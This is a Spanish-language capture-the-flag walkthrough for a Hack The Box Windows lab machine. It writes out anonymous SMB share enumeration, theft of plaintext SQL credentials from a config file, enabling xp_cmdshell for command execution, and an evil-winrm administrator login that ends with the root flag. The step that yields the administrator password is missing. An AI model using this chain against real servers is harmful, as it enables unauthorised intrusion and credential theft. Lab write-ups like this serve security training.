Plan de ataque para Windows en HTB (priorizado)

1. Primero: confirmá los servicios clave de Windows Mirá tu salida de nmap y priorizá estos puertos (en orden de probabilidad de darte acceso):

crackmapexec smb 10.129.95.187 --shares -u '' -p ''
SMB         10.129.95.187   445    ARCHETYPE        [*] Windows Server 2019 Standard 17763 x64 (name:ARCHETYPE) (dom
ain:Archetype) (signing:False) (SMBv1:True)
SMB         10.129.95.187   445    ARCHETYPE        [+] Archetype

• SO: Windows Server 2019 Standard
• Nombre: ARCHETYPE
• Dominio: Archetype
• SMBv1: Habilitado (vulnerable)
• Signing: Deshabilitado
• Acceso: El [+] indica que hay null session o guest access

vimos el 445 y optamos por probar conectarnos al shared smbclient -L //10.129.95.187 -N

Sharename       Type      Comment
       ---------       ----      -------
       ADMIN$          Disk      Remote Admin
       backups         Disk       
       C$              Disk      Default share
       IPC$            IPC       Remote IPC

Probamos establecer conexion y vamos a listar haber que puede haber en si es una maquina sencilla pero lo sencillo se puede complicar.

smbclient -L //10.129.95.187/backups

smbclient //10.129.95.187/backups -N
Try "help" to get a list of possible commands.
smb: >

└─# smbclient //10.129.95.187/backups -N
Try "help" to get a list of possible commands.
smb: > ls
 .                                   D        0  Mon Jan 20 09:20:57 2020
 ..                                  D        0  Mon Jan 20 09:20:57 2020
 prod.dtsConfig                     AR      609  Mon Jan 20 09:23:02 2020

5056511 blocks of size 4096. 2616801 blocks available
smb: >

┌──(root㉿pentest)-[/home/rdls/Desktop/vpn-casmu]
└─# smbclient //10.129.95.187/backups -N
Try "help" to get a list of possible commands.
smb: > ls
 .                                   D        0  Mon Jan 20 09:20:57 2020
 ..                                  D        0  Mon Jan 20 09:20:57 2020
 prod.dtsConfig                     AR      609  Mon Jan 20 09:23:02 2020

5056511 blocks of size 4096. 2616801 blocks available

smb: > get  prod.dtsConfig
getting file \prod.dtsConfig of size 609 as prod.dtsConfig (1.0 KiloBytes/sec)

(average 1.0 KiloBytes/sec)
smb: > exit

Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;

impacket-mssqlclient ARCHETYPE/sql_svc:'M3g4c0rp123'@10.129.95.187 -windows-auth

Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies  

[] Encryption required, switching to TLS
[] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[] INFO(ARCHETYPE): Line 1: Changed database context to 'master'.
[] INFO(ARCHETYPE): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2017 RTM (14.0.1000)
[!] Press help for extra shell commands
SQL (ARCHETYPE\sql_svc  dbo@master)>

QL (ARCHETYPE\sql_svc  dbo@master)> xp_cmdshell
ERROR(ARCHETYPE): Line 1: SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' becaus
e this component is turned off as part of the security configuration for this server. A system administrator can ena
ble the use of 'xp_cmdshell' by using sp_configure. For more information about enabling 'xp_cmdshell', search for 'x
p_cmdshell' in SQL Server Books Online.
SQL (ARCHETYPE\sql_svc  dbo@master)> ls
ERROR(ARCHETYPE): Line 1: Could not find stored procedure 'ls'.
SQL (ARCHETYPE\sql_svc  dbo@master)>

L (ARCHETYPE\sql_svc  dbo@master)> RECONFIGURE;
SQL (ARCHETYPE\sql_svc  dbo@master)> EXECUTE sp_configure 'xp_cmdshell', 1;
INFO(ARCHETYPE): Line 185: Configuration option 'xp_cmdshell' changed from 1 to 1. Run the RECONFIGURE statement to
install.
SQL (ARCHETYPE\sql_svc  dbo@master)> RECONFIGURE;
SQL (ARCHETYPE\sql_svc  dbo@master)> xp_cmdshell "whoami"
output               
-----------------    
archetype\sql_svc NULL

└─$ evil-winrm -i 10.129.95.187 -u Administrator -p 'MEGACORP_4dm1n!!'

Evil-WinRM shell v3.9

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
Evil-WinRM PS C:\Users\Administrator\Documents> ls
Evil-WinRM PS C:\Users\Administrator\Documents> cd ..
Evil-WinRM PS C:\Users\Administrator> ls

Directory: C:\Users\Administrator

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-r---        7/27/2021   2:30 AM                3D Objects
d-r---        7/27/2021   2:30 AM                Contacts
d-r---        7/27/2021   2:30 AM                Desktop
d-r---        7/27/2021   2:30 AM                Documents
d-r---        7/27/2021   2:30 AM                Downloads
d-r---        7/27/2021   2:30 AM                Favorites
d-r---        7/27/2021   2:30 AM                Links
d-r---        7/27/2021   2:30 AM                Music
d-r---        7/27/2021   2:30 AM                Pictures
d-r---        7/27/2021   2:30 AM                Saved Games
d-r---        7/27/2021   2:30 AM                Searches
d-r---        7/27/2021   2:30 AM                Videos

Evil-WinRM PS C:\Users\Administrator> cd Desktop
Evil-WinRM PS C:\Users\Administrator\Desktop> ls

Directory: C:\Users\Administrator\Desktop

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        2/25/2020   6:36 AM             32 root.txt

Evil-WinRM PS C:\Users\Administrator\Desktop> cat root.txt
b91ccec3305e98240082d4474b848528
Evil-WinRM PS C:\Users\Administrator\Desktop>